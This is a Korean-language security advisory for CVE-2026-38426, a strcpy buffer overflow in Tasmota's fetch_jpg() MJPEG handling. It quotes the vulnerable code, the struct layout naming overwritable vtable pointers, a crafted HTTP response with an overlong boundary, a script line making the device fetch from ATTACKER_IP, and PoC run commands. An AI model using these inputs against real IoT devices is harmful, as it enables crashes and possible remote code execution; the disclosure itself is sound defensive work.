
CVE-2026-38426 — Tasmota fetch_jpg() boundary[40]의 strcpy() 스택 버퍼 오버플로우 (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38426
심각도: 치명적 (CVSS 9.8)
제품: Arendst Tasmota
영향받는 버전: <= 15.3.0.3
파일: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
함수: fetch_jpg() — case 0 (초기 연결)
작성자: Saidakbarxon Maxsudxonov
공개: 책임 있는 공개 — 게시 전에 Tasmota에 보고됨
Tasmota의 스크립터 드라이버에 있는 fetch_jpg() 함수에는 전형적인 strcpy() 버퍼 오버플로우 취약점이 존재합니다. HTTP Content-Type 응답 헤더에서 추출된 MJPEG boundary 문자열이 길이 검증 없이 고정된 40바이트 버퍼(boundary[40])에 복사됩니다. MJPEG HTTP 서버를 제어하는 공격자는 39자보다 긴 boundary 문자열을 공급하여 버퍼를 오버플로우시키고 인접한 힙 메모리를 손상시킬 수 있으며, 잠재적으로 ESP32에서 원격 코드 실행(RCE)을 달성할 수 있습니다.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
WiFiClient 또는 HTTPClient의 vtable 포인터를 공격자가 제어하는 값으로 덮어쓰면, 이후 가상 메서드(read(), write(), connect())가 호출될 때 RCE가 발생합니다.
공격자는 Tasmota가 fetchjp()를 통해 연결하는 HTTP 서버를 실행합니다. 서버는 39자보다 긴 boundary 문자열을 포함한 Content-Type 헤더로 응답합니다:
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Tasmota의 strcpy()는 40바이트 boundary 버퍼에 50바이트 이상을 복사하여 인접한 구조체 필드로 오버플로우시킵니다.
Tasmota 스크립트를 통한 트리거:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
전체 구현은 CVE-2026-38426_poc.py를 참조하십시오.